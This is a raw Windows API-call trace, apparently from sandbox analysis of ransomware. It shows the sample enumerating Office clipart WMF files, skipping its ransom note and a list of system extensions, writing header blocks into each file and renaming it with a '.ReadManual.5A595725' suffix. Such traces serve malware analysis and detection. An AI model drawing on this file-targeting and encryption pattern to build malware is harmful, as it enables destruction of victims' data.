lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1 [0274.587] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00638_.WMF" | out: lpString1="SO00638_.WMF") returned="SO00638_.WMF" [0274.587] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.587] StrStrIW (lpFirst="SO00638_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.587] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.587] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.588] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.588] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.588] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.588] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" [0274.588] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.ReadManual.5A595725" [0274.588] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.ReadManual.5A595725") returned 87 [0274.588] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39525645733) returned 1 [0274.588] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf")) returned 0x20 [0274.588] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.589] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6842) returned 1 [0274.589] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1aba, lpName=0x0) returned 0x184 [0274.589] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.590] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.590] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.591] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.591] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1aba) returned 0x2f0000 [0274.592] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.592] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39526047291) returned 1 [0274.592] CloseHandle (hObject=0x184) returned 1 [0274.592] SetSecurityInfo () returned 0x57 [0274.592] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.592] CloseHandle (hObject=0x194) returned 1 [0274.592] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1 [0274.592] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00656_.WMF" | out: lpString1="SO00656_.WMF") returned="SO00656_.WMF" [0274.592] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.592] StrStrIW (lpFirst="SO00656_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.592] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.592] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.593] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" [0274.593] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.ReadManual.5A595725" [0274.593] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.ReadManual.5A595725") returned 87 [0274.593] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39526140663) returned 1 [0274.593] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf")) returned 0x20 [0274.593] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.593] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1412) returned 1 [0274.593] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x584, lpName=0x0) returned 0x184 [0274.593] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.594] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.594] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.596] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.596] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x584) returned 0x2f0000 [0274.596] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.596] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39526471938) returned 1 [0274.596] CloseHandle (hObject=0x184) returned 1 [0274.596] SetSecurityInfo () returned 0x57 [0274.596] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.596] CloseHandle (hObject=0x194) returned 1 [0274.596] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1 [0274.596] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00668_.WMF" | out: lpString1="SO00668_.WMF") returned="SO00668_.WMF" [0274.596] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.596] StrStrIW (lpFirst="SO00668_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.596] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.596] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.596] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.596] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.596] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.597] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.597] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.597] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.597] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.597] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.597] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.597] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.598] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.598] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.598] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" [0274.598] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.ReadManual.5A595725" [0274.598] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.ReadManual.5A595725") returned 87 [0274.598] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39526715936) returned 1 [0274.598] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf")) returned 0x20 [0274.599] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.599] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5714) returned 1 [0274.599] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1652, lpName=0x0) returned 0x184 [0274.599] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.600] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.600] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.601] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.602] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1652) returned 0x2f0000 [0274.602] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.602] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39527059597) returned 1 [0274.602] CloseHandle (hObject=0x184) returned 1 [0274.602] SetSecurityInfo () returned 0x57 [0274.602] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.602] CloseHandle (hObject=0x194) returned 1 [0274.602] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1 [0274.602] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00670_.WMF" | out: lpString1="SO00670_.WMF") returned="SO00670_.WMF" [0274.602] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.602] StrStrIW (lpFirst="SO00670_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.602] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.602] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.602] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.602] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.602] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.602] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.602] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.602] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.602] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.603] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.603] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.603] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.603] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.603] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.603] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" [0274.603] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.ReadManual.5A595725" [0274.603] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.ReadManual.5A595725") returned 87 [0274.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39527150347) returned 1 [0274.603] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf")) returned 0x20 [0274.603] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.603] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5824) returned 1 [0274.603] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16c0, lpName=0x0) returned 0x184 [0274.603] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.609] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.609] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.611] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.611] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16c0) returned 0x2f0000 [0274.611] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.611] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39527985902) returned 1 [0274.611] CloseHandle (hObject=0x184) returned 1 [0274.611] SetSecurityInfo () returned 0x57 [0274.611] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.611] CloseHandle (hObject=0x194) returned 1 [0274.611] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1 [0274.611] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00671_.WMF" | out: lpString1="SO00671_.WMF") returned="SO00671_.WMF" [0274.611] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.612] StrStrIW (lpFirst="SO00671_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.612] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.612] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.612] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" [0274.612] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.ReadManual.5A595725" [0274.612] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.ReadManual.5A595725") returned 87 [0274.612] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39528076823) returned 1 [0274.612] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf")) returned 0x20 [0274.612] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.613] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1488) returned 1 [0274.613] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5d0, lpName=0x0) returned 0x184 [0274.613] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.614] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.614] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.615] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.615] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5d0) returned 0x2f0000 [0274.615] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.615] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39528414900) returned 1 [0274.615] CloseHandle (hObject=0x184) returned 1 [0274.615] SetSecurityInfo () returned 0x57 [0274.616] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.616] CloseHandle (hObject=0x194) returned 1 [0274.616] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1 [0274.616] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00683_.WMF" | out: lpString1="SO00683_.WMF") returned="SO00683_.WMF" [0274.616] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.616] StrStrIW (lpFirst="SO00683_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.616] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.616] StrCmpIW (psz1="WMF", 